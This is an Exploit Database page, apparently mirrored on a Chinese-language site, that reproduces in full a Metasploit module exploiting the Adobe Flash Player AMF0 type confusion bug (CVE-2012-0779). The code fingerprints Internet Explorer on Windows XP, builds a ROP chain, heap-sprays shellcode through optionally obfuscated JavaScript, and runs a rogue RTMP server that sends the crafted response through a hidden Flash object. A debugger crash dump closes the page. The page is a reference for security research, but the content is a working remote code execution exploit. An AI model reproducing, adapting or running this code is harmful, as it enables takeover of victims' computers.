Adobe Flash Player – Object Type Confusion (Metasploit)

• Exploit Database
• 17 阅读

• 作者： Metasploit
  日期： 2012-06-25
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/19369/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::HttpServer::HTML
  	include Msf::Exploit::Remote::BrowserAutopwn
  
  	autopwn_info({
  		:os_name=> OperatingSystems::WINDOWS,
  		:ua_name=> HttpClients::IE,
  		:ua_minver=> "6.0",
  		:ua_maxver=> "8.0",
  		:method => "GetVariable",
  		:classid=> "ShockwaveFlash.ShockwaveFlash",
  		:rank => NormalRanking, # reliable memory corruption
  		:javascript => true
  	})
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "Adobe Flash Player Object Type Confusion",
  			'Description'=> %q{
  				This module exploits a vulnerability found in Adobe Flash
  				Player.By supplying a corrupt AMF0 "_error" response, it
  				is possible to gain arbitrary remote code execution under
  				the context of the user.
  
  				This vulnerability has been exploited in the wild as part of
  				the "World Uyghur Congress Invitation.doc" e-mail attack.
  				According to the advisory, 10.3.183.19 and 11.x before
  				11.2.202.235 are affected.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'sinn3r', # Metasploit module
  					'juan vazquez' # Metasploit module
  				],
  			'References' =>
  				[
  					[ 'CVE', '2012-0779' ],
  					[ 'OSVDB', '81656'],
  					[ 'BID', '53395' ],
  					[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-09.html'], # Patch info
  					[ 'URL', 'http://contagiodump.blogspot.com.es/2012/05/may-3-cve-2012-0779-world-uyghur.html' ]
  				],
  			'Payload'=>
  				{
  					#'Space'=> 1024,
  					'BadChars' => "\x00"
  				},
  			'DefaultOptions'=>
  				{
  					'InitialAutoRunScript' => 'migrate -f'
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# Flash Player 11.2.202.228
  					[ 'Automatic', {} ],
  					[
  						'IE 6 on Windows XP SP3',
  						{
  							'Rop'=> nil,
  							'RandomHeap' => false,
  							'Offset' => '0x0'
  						}
  					],
  					[
  						'IE 7 on Windows XP SP3',
  						{
  							'Rop'=> nil,
  							'RandomHeap' => false,
  							'Offset' => '0x0'
  						}
  					],
  					[
  						'IE 8 on Windows XP SP3 with msvcrt ROP',
  						{
  							'Rop' => :msvcrt,
  							'RandomHeap' => false,
  							'Offset' => '238',
  							'StackPivot' => 0x77c12100, # add esp, edx # retn 77 # from msvcrt.dll
  						}
  					]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "May 04 2012",
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]),
  				OptAddress.new('RTMPHOST', [ true, "The local host to RTMP service listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]),
  				OptPort.new('RTMPPORT',[ true, "The local port to RTMP service listen on.", 1935 ]),
  			], self.class
  		)
  
  	end
  
  	def get_target(agent)
  		#If the user is already specified by the user, we'll just use that
  		return target if target.name != 'Automatic'
  
  		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
  			return targets[1]#IE 6 on Windows XP SP3
  		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
  			return targets[2]#IE 7 on Windows XP SP3
  		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
  			return targets[3]#IE 8 on Windows XP SP3
  		else
  			return nil
  		end
  	end
  
  	def junk(n=4)
  		return rand_text_alpha(n).unpack("V").first
  	end
  
  	def nop
  		return make_nops(4).unpack("V").first
  	end
  
  	def ret(t)
  		return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll
  	end
  
  	def popret(t)
  		return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll
  	end
  
  	def get_rop_chain(t)
  
  		# ROP chains generated by mona.py - See corelan.be
  		print_status("Using msvcrt ROP")
  		rop =
  			[
  				0x77c4e392,# POP EAX # RETN
  				0x77c11120,# <- *&VirtualProtect()
  				0x77c2e493,# MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
  				junk,
  				0x77c2dd6c,
  				0x77c4ec00,# POP EBP # RETN
  				0x77c35459,# ptr to 'push esp #ret'
  				0x77c47705,# POP EBX # RETN
  				0x00001000,# EBX
  				0x77c3ea01,# POP ECX # RETN
  				0x77c5d000,# W pointer (lpOldProtect) (-> ecx)
  				0x77c46100,# POP EDI # RETN
  				0x77c46101,# ROP NOP (-> edi)
  				0x77c4d680,# POP EDX # RETN
  				0x00000040,# newProtect (0x40) (-> edx)
  				0x77c4e392,# POP EAX # RETN
  				nop, # NOPS (-> eax)
  				0x77c12df9,# PUSHAD # RETN
  			].pack("V*")
  
  		code = ret(t)
  		code << rand_text(119)
  		code << rop
  		code << "\xbc\x0c\x0c\x0c\x0c" #mov esp,0c0c0c0c ; my way of saying 'f you' to the problem
  		code << payload.encoded
  		offset = 2616 - code.length
  		code << rand_text(offset)
  		code << [ t['StackPivot'] ].pack("V")
  		return code
  	end
  
  	def get_easy_spray(t, js_code, js_nops)
  
  		spray = <<-JS
  		var heap_obj = new heapLib.ie(0x20000);
  		var code = unescape("#{js_code}");
  		var nops = unescape("#{js_nops}");
  
  		while (nops.length < 0x80000) nops += nops;
  
  		var offset = nops.substring(0, #{t['Offset']});
  		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
  
  		while (shellcode.length < 0x40000) shellcode += shellcode;
  		var block = shellcode.substring(0, (0x80000-6)/2);
  
  
  		heap_obj.gc();
  		for (var z=1; z < 0x185; z++) {
  			heap_obj.alloc(block);
  		}
  
  		JS
  
  		return spray
  
  	end
  
  
  	def get_aligned_spray(t, js_rop, js_nops)
  
  		spray = <<-JS
  
  		var heap_obj = new heapLib.ie(0x20000);
  		var nops = unescape("#{js_nops}");
  		var rop_chain = unescape("#{js_rop}");
  
  		while (nops.length < 0x80000) nops += nops;
  
  		var offset = nops.substring(0, #{t['Offset']});
  		var shellcode = offset + rop_chain + nops.substring(0, 0x800-offset.length-rop_chain.length);
  
  
  		while (shellcode.length < 0x40000) shellcode += shellcode;
  		var block = shellcode.substring(0, (0x80000-6)/2);
  
  
  		heap_obj.gc();
  		for (var z=1; z < 0x1c5; z++) {
  			heap_obj.alloc(block);
  		}
  
  		JS
  
  		return spray
  
  	end
  
  	def exploit
  		@swf = create_swf
  
  		# Boilerplate required to handled pivoted listeners
  		comm = datastore['ListenerComm']
  		if comm == "local"
  			comm = ::Rex::Socket::Comm::Local
  		else
  			comm = nil
  		end
  
  		@rtmp_listener = Rex::Socket::TcpServer.create(
  			'LocalHost' => datastore['RTMPHOST'],
  			'LocalPort' => datastore['RTMPPORT'],
  			'Comm'=> comm,
  			'Context' => {
  				'Msf'=> framework,
  				'MsfExploit' => self,
  			}	
  		)
  				
  		# Register callbacks
  		@rtmp_listener.on_client_connect_proc = Proc.new { |cli|
  			add_socket(cli)
  			print_status("#{cli.peerhost.ljust(16)} #{self.shortname} - Connected to RTMP")
  			on_rtmp_connect(cli)
  		}
  
  		@rtmp_listener.start
  
  		super
  	end
  
  	def my_read(cli,size,timeout=nil)
  		if timeout.nil?
  			timeout = cli.def_read_timeout
  		end
  
  		buf = ""
  		::Timeout::timeout(timeout) {
  			while buf.length < size
  			buf << cli.get_once(size - buf.length)
  			end
  		}
  		buf
  	end
  
  	def do_handshake(cli)
  		c0 = my_read(cli, 1)
  		c1 = my_read(cli, 1536) # HandshakeSize => 1536
  		s0 = "\3" # s0
  		s1 = Rex::Text.rand_text(4) # s1.time
  		s1 << "\x00\x00\x00\x00" # s1.zero
  		s1 << Rex::Text.rand_text(1528) # s1.random_data
  		s2 = c1 # s2
  		cli.put(s0)
  		cli.put(s1)
  		cli.put(s2)
  		c2 = my_read(cli, 1536) # C2 (HandshakeSize => 1536)
  	end
  
  	def on_rtmp_connect(cli)
  
  		begin
  			do_handshake(cli)
  			request = my_read(cli, 341) # connect request length
  
  			case request
  			when /connect/
  				rtmp_header = "\x03" # Chunk Stream ID
  				rtmp_header << "\x00\x00\x00" # Timestamp
  				rtmp_header << "\x00\x00\x71" # Body Size
  				rtmp_header << "\x14" # AMF0 Command
  				rtmp_header << "\x00\x00\x00\x00" # Stream ID
  
  				# String
  				rtmp_body = "\x02" # String
  				rtmp_body << "\x00\x06" # String length
  				rtmp_body << "\x5f\x65\x72\x72\x6f\x72" # String: _error
  				# Number
  				rtmp_body << "\x00" # AMF Type: Number
  				rtmp_body << "\x40\x00\x00\x00\x00\x00\x00\x00" # Number
  				# Array
  				rtmp_body << "\x0a" # AMF Type: Array
  				rtmp_body << "\x00\x00\x00\x05" # Array length: 5
  				# Array elements
  				rtmp_body << "\x00" # AMF Type: Number
  				rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
  				rtmp_body << "\x00" # AMF Type: Number
  				rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
  				rtmp_body << "\x00" # AMF Type: Number
  				rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
  				rtmp_body << "\x00" # AMF Type: Number
  				rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
  				rtmp_body << "\x00" # AMF Type: Number
  				rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
  				# Crafter Number
  				rtmp_body << "\x00" # AMF Type: Number
  				rtmp_body << [rand(0x40000000)].pack("V") + "\x0c\x0c\x0c\x0c" # Modify the "\x0c\x0c\x0c\x0c" to do an arbitrary call
  				# Number
  				rtmp_body << "\x00" # AMF Type: Number
  				rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
  				# Number
  				rtmp_body << "\x00" # AMF Type: Number
  				rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
  				# Number
  				rtmp_body << "\x00" # AMF Type: Number
  				rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
  				# Number
  				rtmp_body << "\x00" # AMF Type: Number
  				rtmp_body << [rand(0x40000000)].pack("V") +"\x00\x00\x00\x00" # Number
  
  				trigger = rtmp_header
  				trigger << rtmp_body
  
  				cli.put(trigger)
  				@rtmp_listener.close_client(cli)
  			end
  		rescue
  		ensure
  			@rtmp_listener.close_client(cli)
  			remove_socket(cli)
  		end
  
  	end
  
  	def cleanup
  		super
  		return if not @rtmp_listener
  		
  		begin
  			@rtmp_listener.deref if @rtmp_listener.kind_of?(Rex::Service)
  			if @rtmp_listener.kind_of?(Rex::Socket)
  				@rtmp_listener.close
  				@rtmp_listener.stop
  			end
  			@rtmp_listener = nil
  		rescue ::Exception
  		end
  	end
  
  	def on_request_uri(cli, request)
  
  		agent = request.headers['User-Agent']
  		my_target = get_target(agent)
  
  		# Avoid the attack if the victim doesn't have the same setup we're targeting
  		if my_target.nil?
  			print_error("Browser not supported: #{agent}")
  			send_not_found(cli)
  			return
  		end
  
  		print_status("Client requesting: #{request.uri}")
  
  		if request.uri =~ /\.swf$/
  			print_status("Sending Exploit SWF")
  			send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })
  			return
  		end
  
  		p = payload.encoded
  		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
  		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
  
  		if not my_target['Rop'].nil?
  			js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
  			js = get_aligned_spray(my_target, js_rop, js_nops)
  		else
  			js = get_easy_spray(my_target, js_code, js_nops)
  		end
  
  		js = heaplib(js, {:noobfu => true})
  
  		if datastore['OBFUSCATE']
  			js = ::Rex::Exploitation::JSObfu.new(js)
  			js.obfuscate
  		end
  
  		swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
  		swf_uri << "/#{rand_text_alpha(rand(6)+3)}.swf"
  
  		if datastore['RTMPHOST'] == '0.0.0.0'
  			rtmp_host = Rex::Socket.source_address('1.2.3.4')
  		else
  			rtmp_host = datastore['RTMPHOST']
  		end
  
  		rtmp_port = datastore['RTMPPORT']
  
  		html = %Q|
  		<html>
  		<head>
  		<script>
  		#{js}
  		</script>
  		</head>
  		<body>
  		<center>
  		<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
  		id="test" width="1" height="1"
  		codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
  		<param name="movie" value="#{swf_uri}" />
  		<param name="FlashVars" value="var1=#{rtmp_host}&var2=#{rtmp_port}"
  		<embed src="https://www.exploit-db.com/exploits/19369/#{swf_uri}" quality="high"
  		width="1" height="1" name="test" align="middle"
  		allowNetworking="all"
  		type="application/x-shockwave-flash"
  		pluginspage="http://www.macromedia.com/go/getflashplayer"
  		FlashVars="var1=#{rtmp_host}&var2=#{rtmp_port}">
  		</embed>
  
  		</object>
  		</center>
  
  		</body>
  		</html>
  		|
  
  		html = html.gsub(/^\t\t/, '')
  
  		print_status("Sending html")
  		send_response(cli, html, {'Content-Type'=>'text/html'})
  	end
  
  	def create_swf
  		path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0779.swf" )
  		fd = ::File.open( path, "rb" )
  		swf = fd.read(fd.stat.size)
  		fd.close
  
  		return swf
  	end
  
  end
  
  =begin
  
  * Flash Player 11.2.202.228
  
  (348.540): Access violation - code c0000005 (first chance)
  First chance exceptions are reported before any exception handling.
  This exception may be expected and handled.
  eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000
  eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0 nv up ei pl nz na po nc
  cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00050202
  Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
  104b1b2d 8b422cmov eax,dword ptr [edx+2Ch]
  ds:0023:44444470=????????
  
  0:000> u eip
  Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
  104b1b2d 8b422cmov eax,dword ptr [edx+2Ch]
  104b1b30 53pushebx
  104b1b31 ffd0calleax
  
  =end